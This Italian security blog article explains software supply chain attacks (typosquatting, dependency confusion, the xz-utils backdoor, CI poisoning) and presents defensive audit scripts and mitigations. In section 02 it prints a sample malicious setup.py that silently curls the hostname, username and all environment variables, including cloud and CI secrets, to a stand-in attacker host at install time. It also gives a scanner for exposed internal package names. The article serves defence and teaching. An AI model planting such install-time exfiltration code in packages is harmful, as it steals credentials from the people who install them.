2026-03-21 | Pinperepette

Il Pacco È Avvelenato

Typosquatting su PyPI e npm, dependency confusion, il backdoor xz-utils (CVE-2024-3094), GitHub Actions poisoning. L'attacco non entra dal browser. Entra dal tuo package manager.

Supply Chain PyPI / npm CVE-2024-3094 CI/CD Poisoning

01 — il modello di minacciaIl codice che non hai scritto

Ogni progetto moderno dipende da centinaia di pacchetti. Un'applicazione Python media importa 127 dipendenze dirette. Ognuna porta le sue. La superficie di attacco non è il tuo codice: è tutto il codice di cui ti fidi implicitamente.

Un supply chain attack non compromette il tuo sistema. Compromette qualcosa che il tuo sistema installa, esegue o di cui si fida. La differenza è fondamentale: l'attaccante non deve bucare le tue difese. Deve solo far sì che tu inviti il payload dentro.

700K+ Pacchetti su PyPI
2.9M+ Pacchetti su npm
3 min Tempo medio pubblicazione pacchetto malevolo
742 Pacchetti rimossi da PyPI nel 2024
Attaccante
pubblica
PyPI / npm
repository
pip install
vittima
setup.py
esegue il payload
Sistema
compromesso

La pipeline di attacco è brutalmente semplice: l'attaccante pubblica un pacchetto sul registro pubblico, la vittima lo installa (spesso involontariamente, tramite un nome simile o una dipendenza transitiva), e il codice malevolo viene eseguito con i privilegi dell'utente al momento dell'installazione, non dell'esecuzione. Non serve nemmeno avviare il programma.

Un'unica idea, punti diversi della pipeline. Typosquatting, dependency confusion, CI poisoning, maintainer takeover non sono tecniche diverse. Sono la stessa idea applicata a punti diversi della catena: far eseguire alla vittima codice che non ha scelto, nel momento in cui non sta guardando.

02 — typosquattingUn carattere di distanza dal disastro

Il typosquatting è la tecnica più semplice e più efficace. Registri un pacchetto con un nome quasi identico a quello legittimo, un carattere sostituito, invertito o aggiunto, e aspetti. Non è solo chi digita male nel terminale. È il copy-paste da StackOverflow. È l'autocomplete della shell che suggerisce il pacchetto sbagliato. Sono gli snippet generati da un LLM che hallucina un nome plausibile ma inesistente. La superficie non è la tastiera: è l'intera catena che porta un nome dentro requirements.txt.

Pacchetto Legittimo Variante Malevola Tecnica Download reali (prima rimozione)
requests reqeusts, request Trasposizione / troncamento ~14.000
numpy nump, numipy Omissione / inserzione ~8.200
boto3 bото3 (с cirillico) Homoglyph ~3.100
urllib3 urllib, urlib3 Troncamento / sostituzione ~21.000
lodash (npm) lodahs, load-ash Trasposizione / separazione ~5.600

Il payload classico non è complesso. Vive in setup.py o in __init__.py, eseguito automaticamente da pip durante l'installazione:

1# setup.py — estratto semplificato da campioni reali
2import os, subprocess, sys, socket, platform
3from setuptools import setup
4
5def exfil():
6 data = {
7 "h": socket.gethostname(),
8 "u": os.getlogin(),
9 "p": platform.platform(),
10 "env": dict(os.environ), # AWS_SECRET_ACCESS_KEY, CI tokens, ecc.
11 }
12 try:
13 subprocess.run(
14 ["curl", "-s", "-d", str(data), "https://c2.attacker.io/collect"],
15 timeout=3, capture_output=True
16 )
17 except: pass # silenzioso — nessun traceback
18
19exfil()
20
21setup(name="reqeusts", version="2.31.0", ...) # versione identica al legittimo

Perché funziona in CI/CD. Le pipeline di build eseguono pip install -r requirements.txt con variabili d'ambiente come AWS_ACCESS_KEY_ID, GITHUB_TOKEN, DATABASE_URL già iniettate. Un typo nel file requirements esfiltra credenziali cloud prima ancora che il codice venga testato. La finestra di esposizione è di millisecondi.

03 — dependency confusionL'attacco di Alex Birsan

Nel febbraio 2021, il ricercatore Alex Birsan pubblica un paper che scuote l'intero settore. Scopre che molte aziende usano registri privati di pacchetti (Artifactory, Nexus, GitHub Packages) con nomi che non esistono nei registri pubblici. La vulnerabilità: se il gestore di pacchetti controlla prima il registro pubblico, un attaccante può pubblicare lì un pacchetto con lo stesso nome ma versione superiore.

Attaccante
pubblica v9.0.0
PyPI pubblico
"nome-interno"
pip cerca
nome-interno
Registro privato
v1.2.3
Installa v9.0.0
pubblico vince

Birsan ha guadagnato $130.000 in bug bounty in pochi mesi testando questo su Apple, Microsoft, PayPal, Shopify, Netflix, Uber e altri. Nessuna delle aziende sapeva che i propri nomi di pacchetti interni fossero esposti. La scoperta era nei file package.json e requirements.txt di repository pubblici o in risposte di errore delle API.

1# scan_confusion.py — trova nomi di pacchetti interni esposti
2# cerca in GitHub i file requirements.txt con nomi non su PyPI
3import requests, json, time
4
5def exists_on_pypi(pkg_name: str) -> bool:
6 r = requests.get(f"https://pypi.org/pypi/{pkg_name}/json", timeout=5)
7 return r.status_code == 200
8
9def extract_internal_pkgs(requirements_content: str,
10 internal_prefixes: list) -> list:
11 candidates = []
12 for line in requirements_content.splitlines():
13 line = line.strip().split("==")[0].split(">=")[0]
14 if any(line.startswith(p) for p in internal_prefixes):
15 if not exists_on_pypi(line):
16 candidates.append(line)
17 return candidates
18
19# Esempio: pacchetti con prefisso aziendale non presenti su PyPI
20req_txt = """
21requests==2.31.0
22acme-internal-auth==1.0.0
23acme-data-utils==0.3.1
24flask==3.0.0
25"""
26
27vuln = extract_internal_pkgs(req_txt, ["acme-", "mycompany-"])
28print(f"Pacchetti interni non su PyPI: {vuln}")
$ python scan_confusion.py
Checking 4 packages against PyPI... requests==2.31.0 → EXISTS on PyPI acme-internal-auth → NOT FOUND on PyPI ← VULNERABLE acme-data-utils → NOT FOUND on PyPI ← VULNERABLE flask → EXISTS on PyPI Pacchetti interni non su PyPI: ['acme-internal-auth', 'acme-data-utils']

04 — CVE-2024-3094Il backdoor xz-utils: due anni di ingegneria sociale

Marzo 2024. Andres Freund, ingegnere Microsoft, nota che sshd su una Debian Sid è 500ms più lento del previsto. Indaga. Quello che trova è uno dei supply chain attack più sofisticati della storia dell'informatica.

xz-utils è un compressore/decompressore dati usato su praticamente ogni distribuzione Linux. Nella versione 5.6.0 e 5.6.1, qualcuno aveva inserito un backdoor nel processo di build che modificava la libreria liblzma per intercettare e manipolare RSA durante l'autenticazione SSH.

La timeline è sconvolgente. L'attaccante, noto come "Jia Tan" (JiaT75), ha iniziato a contribuire al progetto xz nel novembre 2021. Per due anni ha costruito reputazione: fix legittimi, miglioramenti di performance, collaborazione corretta. Nel 2023 ha iniziato a fare pressione sul maintainer originale (che ha dichiarato di soffrire di burn-out) per avere accesso diretto al repository. Nel gennaio 2024 ha il commit access. Due mesi dopo, il backdoor è nei mirror di Debian e Fedora.

Il meccanismo tecnico è elaborato. Il payload non è nel codice sorgente visibile: è in un file binario di test (tests/files/bad-3-corrupt_lzma2.xz) che viene estratto e inserito durante il processo di autogen.sh. Il risultato finale modifica RSA_public_decrypt in OpenSSH tramite LD_PRELOAD implicito via systemd.

1# Rilevare la versione vulnerabile
2xz --version
3# xz (XZ Utils) 5.6.0 ← VULNERABILE
4# xz (XZ Utils) 5.6.1 ← VULNERABILE
5
6# Verificare se liblzma è linkato a sshd
7ldd $(which sshd) | grep liblzma
8# liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 ← presente = esposto
9
10# Strumento di rilevamento di Binarly
11python3 xz_detector.py /usr/lib/x86_64-linux-gnu/liblzma.so.5
12# [!] BACKDOOR RILEVATO: hook su RSA_public_decrypt trovato

L'obiettivo finale del backdoor era permettere all'attaccante di autenticarsi via SSH su qualsiasi sistema affetto usando una chiave privata hardcoded nel payload (struttura Ed448). Nessun account. Nessuna password. Accesso root silenzioso a milioni di server Linux. Scoperto per caso, a 14 ore dalla sua inclusione in Fedora 40 stable.

Jia Tan non è mai stato identificato. L'analisi del comportamento, orari di commit costantemente in fuso orario Asia/Est, pattern di comunicazione, stile di codice, delinea un profilo compatibile con un'operazione statale pianificata. Due anni di pazienza per una backdoor che avrebbe dato accesso a una frazione significativa dell'infrastruttura Internet globale. Non il lavoro di un singolo individuo.

05 — CI/CD poisoningLa pipeline è la vulnerabilità

GitHub Actions ha democratizzato il CI/CD. Ha anche creato una superficie di attacco che la maggior parte dei team non considera: le azioni di terze parti. Quando scrivi uses: actions/checkout@v4, stai eseguendo codice di qualcun altro con accesso ai tuoi segreti, al tuo codice sorgente e spesso ai tuoi ambienti di produzione.

1# .github/workflows/deploy.yml — pattern pericoloso
2steps:
3 - uses: some-vendor/deploy-action@main # ← @main = sempre l'ultimo commit
4 with:
5 aws-access-key: ${{ secrets.AWS_ACCESS_KEY_ID }}
6 aws-secret-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
7 token: ${{ secrets.PROD_DEPLOY_TOKEN }}
8
9# Se l'account di some-vendor viene compromesso o l'azione aggiornata
10# con codice malevolo, le credenziali vengono esfiltrate al prossimo push.
11# Usa SEMPRE il SHA commit: uses: some-vendor/deploy-action@a1b2c3d4

Nel marzo 2025, l'attacco tj-actions/changed-files ha compromesso migliaia di workflow GitHub. L'attaccante ha ottenuto accesso al token della GitHub Action, ha modificato il codice per stampare i segreti nei log della pipeline, e ha aspettato che i repository la eseguissero. 23.000 repository esposti in poche ore.

1# audit_workflows.py — verifica se le Actions usano SHA o tag mutabili
2import re, pathlib, sys
3
4SHA_RE = re.compile(r'uses:\s+[\w/\-]+@([0-9a-f]{40})')
5TAG_RE = re.compile(r'uses:\s+([\w/\-]+)@(v[\d\.]+|main|master|latest)')
6
7def audit_dir(base: str):
8 findings = []
9 for f in pathlib.Path(base).rglob("*.yml"):
10 content = f.read_text(errors="ignore")
11 for m in TAG_RE.finditer(content):
12 findings.append({
13 "file": str(f),
14 "action": m.group(1),
15 "ref": m.group(2),
16 "risk": "HIGH" if m.group(2) in ("main", "master", "latest") else "MEDIUM",
17 })
18 return findings
19
20if __name__ == "__main__":
21 results = audit_dir(sys.argv[1] if len(sys.argv) > 1 else ".")
22 for r in results:
23 print(f"[{r['risk']}] {r['action']}@{r['ref']} in {r['file']}")
$ python audit_workflows.py .github/workflows/
Scanning 12 workflow files... [HIGH] some-vendor/deploy-action@main in .github/workflows/deploy.yml [HIGH] tj-actions/changed-files@master in .github/workflows/pr-check.yml [MEDIUM] actions/checkout@v4 in .github/workflows/test.yml [OK] actions/setup-python@a1b2c3d4e5f6... in .github/workflows/lint.yml 2 HIGH risk, 1 MEDIUM risk trovati. Fix: pin a SHA commit specifico.

Non serve pubblicare un pacchetto nuovo. Basta prendere il controllo di uno esistente. Nel 2018, un utente ha convinto il maintainer di event-stream (npm, 2 milioni di download settimanali) a cedergli l'accesso al repository. Ha aggiunto una dipendenza malevola, flatmap-stream, che rubava wallet Bitcoin. Nessun typo, nessuna confusione di nome: il pacchetto era quello giusto, aggiornato dal maintainer ufficiale. Lo stesso pattern di xz-utils, tre anni prima, su scala diversa. Il vettore più pericoloso non è il registro. È la fiducia nel maintainer.

06 — mitigazioniCome si difende la catena

Non esiste una difesa single-shot. La supply chain richiede difesa a strati.

Vettore Difesa Primaria Tool / Standard Effort
Typosquatting PyPI/npm Verificare nome prima di installare. Hash lockfile. pip-audit, npm audit, pip install --require-hashes Basso
Dependency Confusion Prefissi privati registrati anche pubblicamente. Namespace scoping. Artifactory "priority-resolution", npm scoped packages (@company/pkg) Medio
Codice malevolo in pacchetti legittimi SBOM + analisi statica pre-installazione Sigstore/Cosign, SLSA Level 3, socket.dev Alto
GitHub Actions non pinnate Pin a SHA commit immutabile pin-github-action, zizmor, GitHub required reviewers Basso
Maintainer compromise (xz-style) Reproducible builds. Verifica firma multipla. Sigstore, SLSA, Nix reproducible builds Molto alto
Payload eseguito durante install Install-time isolation: build in sandbox senza rete Container effimeri, --no-build-isolation, Nix sandboxed builds, Bazel hermetic Medio
1# Installa con hash verification — lockfile con hash SHA256
2pip install --require-hashes -r requirements.txt
3
4# Generare requirements con hash (pip-tools)
5pip-compile --generate-hashes requirements.in
6
7# Audit continuo con pip-audit (integrato in CI)
8pip-audit --requirement requirements.txt --output json
9
10# Per npm: verificare integrità con lockfile v3
11npm ci # usa package-lock.json, fallisce se diverge

07 — labGli script per il laboratorio

Il lab completo include sette strumenti per analizzare, monitorare e difendere la propria supply chain.

01
typo_scanner.py
Genera varianti typosquatting e verifica disponibilità su PyPI/npm
02
confusion_audit.py
Analizza requirements.txt cercando pacchetti interni non registrati pubblicamente
03
setup_analyzer.py
Analisi statica di setup.py e __init__.py: socket, subprocess, os.system
04
audit_workflows.py
Scansiona workflow GitHub Actions cercando ref mutabili (@main, @latest)
05
sbom_diff.py
Confronta SBOM tra due build e rileva dipendenze aggiunte o modificate
06
pypi_sentinel.py
Monitor real-time del feed RSS PyPI: analisi euristica + AI (Ollama) su ogni nuovo pacchetto
07
installed_audit.py
Scansiona i pacchetti pip installati, scarica gli sdist e cerca pattern malevoli

Gli script del lab. typo_scanner.py: genera varianti Levenshtein-1 di ogni dipendenza e controlla PyPI/npm API. confusion_audit.py: identifica nomi di pacchetti con prefissi aziendali non presenti nei registri pubblici. setup_analyzer.py: analisi statica AST di setup.py per rilevare pattern sospetti (network, subprocess, exec). audit_workflows.py: verifica che tutte le Actions usino SHA commit immutabili. sbom_diff.py: genera e confronta CycloneDX SBOM tra ambienti diversi. pypi_sentinel.py: monitor real-time del feed RSS PyPI. Polling, download sdist, 20 regole euristiche, analisi AST, check typosquatting Levenshtein, e analisi AI opzionale via Ollama. Include campioni sintetici per il test. installed_audit.py: scansiona l'ambiente pip attivo, scarica ogni sdist da PyPI e lo analizza con lo stesso engine del sentinel. Tutto nella cartella scripts/il-pacco-e-avvelenato su GitHub.

pypi_sentinel.py: analisi campioni sintetici

Cinque campioni malevoli (exfiltration, exec+base64, reverse shell, steganografia, typosquat wrapper) e uno pulito. Il sentinel li classifica correttamente: 3 CRITICAL, 2 HIGH, 1 CLEAN.

pypi_sentinel.py: 6 campioni analizzati, 3 CRITICAL, 2 HIGH, 1 CLEAN

typo_scanner.py: varianti di "requests"

87 varianti generate (trasposizione, omissione, inserzione, homoglyph). Tre esistono su PyPI: requestx, requestz, requezts.

typo_scanner.py: 87 varianti di requests, 3 esistono su PyPI

setup_analyzer.py: analisi statica AST

Scansione dei campioni sintetici. 7 file analizzati, 23 finding: import di socket/subprocess, exec(), base64.b64decode(), URL hardcoded verso C2, codecs.decode hex.

setup_analyzer.py: 7 file analizzati, 23 finding sospetti

confusion_audit.py: dependency confusion

Audit di un requirements.txt con prefissi aziendali. Tre pacchetti interni non registrati su PyPI: un attaccante potrebbe registrarli con versione alta e ottenere esecuzione di codice.

confusion_audit.py: 3 pacchetti interni non su PyPI, vulnerabili a dependency confusion

sbom_diff.py: inventario dipendenze

Genera una SBOM in formato CycloneDX dall'ambiente pip attivo. 1108 componenti catalogati con nome, versione e PURL.

sbom_diff.py: SBOM generata con 1108 componenti

pypi_sentinel.py --check: pacchetto singolo

Verifica rapida su un pacchetto specifico. colorama risulta CLEAN: score 0, nessun pattern sospetto.

pypi_sentinel.py: check colorama, CLEAN, score 0/100

installed_audit.py: audit pacchetti installati

Scansione dei primi 25 pacchetti pip installati. 15 CLEAN, 5 MEDIUM, 2 HIGH, 2 CRITICAL. Entrambi i CRITICAL sono falsi positivi. Li ho verificati scaricando gli sdist e leggendo il codice sorgente.

altgraph==0.17.4 (score 100). Pacchetto di Ronald Oussoren, ecosistema PyObjC/PyInstaller. La chiamata eval() a riga 68 valuta environment markers PEP 508 in un namespace ristretto che contiene solo python_version, os, sys: nessun accesso al filesystem o alla rete. In pratica non viene nemmeno eseguita perché il pacchetto non ha dipendenze condizionali. __import__() a riga 290 importa i moduli di test dal proprio pacchetto, eseguito solo con python setup.py test. cmdclass aggiunge URL di progetto in PKG-INFO. Gli URL puntano a readthedocs, GitHub e PyPI.

aiohttp==3.10.5 (score 60). La tripla segnalazione su os.environ corrisponde a una singola riga: NO_EXTENSIONS = bool(os.environ.get("AIOHTTP_NO_EXTENSIONS")). È il toggle standard per disabilitare la compilazione delle estensioni C. Lo stesso pattern lo usano ujson, msgpack, pyyaml. Il riferimento a http.client nel setup.cfg non è un import: è la descrizione del progetto ("Async http client/server framework").

Questo è il punto: un'analisi euristica non distingue os.environ.get("AIOHTTP_NO_EXTENSIONS") da os.environ.get("AWS_SECRET_ACCESS_KEY"). Stessa API, intent opposto. Lo strumento segnala. La valutazione resta umana.

installed_audit.py: 25 pacchetti scansionati, 2 CRITICAL (falsi positivi verificati su altgraph e aiohttp)

pypi_sentinel.py --live: monitor real-time

Polling del feed RSS di PyPI ogni 30 secondi. Su 40 pacchetti nuovi, il sentinel ha trovato due alert.

thisisimytest (CRITICAL, score 60). Tre chiamate os.system() nel setup.py. Nome sospetto, versione unica. Ho provato a verificarlo su PyPI dopo la scansione: il pacchetto non esiste più. È stato rimosso, probabilmente dai sistemi automatici di PyPI o dall'autore stesso. Un pacchetto che viene pubblicato e cancellato nel giro di ore è esattamente il pattern dei supply chain attack reali: finestra breve, impatto su chi ha fatto pip install nel momento sbagliato. Il sentinel lo ha catturato quando era ancora attivo.

csp-adapter-telegram (MEDIUM, score 20). Segnalato per __import__() a riga 1. Falso positivo: è un pattern comune per lazy import in pacchetti con dipendenze opzionali. Il pacchetto esiste, è stabile, ha una storia di release coerente.

pypi_sentinel.py live: 40 pacchetti analizzati, thisisimytest CRITICAL (rimosso da PyPI), csp-adapter-telegram MEDIUM (falso positivo)

Il problema strutturale. PyPI e npm pubblicano pacchetti in secondi, senza revisione umana. La rimozione richiede ore o giorni. Tempo sufficiente per raggiungere migliaia di installazioni automatizzate. Nel 2024, oltre il 40% dei pacchetti malevoli rilevati era rimasto attivo per più di 24 ore prima della rimozione. I sistemi CI/CD eseguono pip install centinaia di volte al giorno, su ogni PR. La supply chain non è un problema teorico: è la superficie di attacco più trascurata in produzione.

"Non hai bisogno di bucare il server.
Aspetti che il server installi il tuo codice."

Il supply chain attack non sfrutta una vulnerabilità nel codice: sfrutta la fiducia. La fiducia che riponiamo nei registri pubblici, nei maintainer, nei contributor, nelle azioni di terze parti. Jia Tan ha dimostrato che questa fiducia può essere ingegnerizzata su un orizzonte di anni. La risposta non è smettere di usare dipendenze. È cambiare come le usiamo: lockfile con hash, SBOM, SLSA, verifiche di firma, Actions pinnate a SHA. Ogni dipendenza senza hash è una promessa che qualcun altro potrebbe non mantenere.

Signal Pirate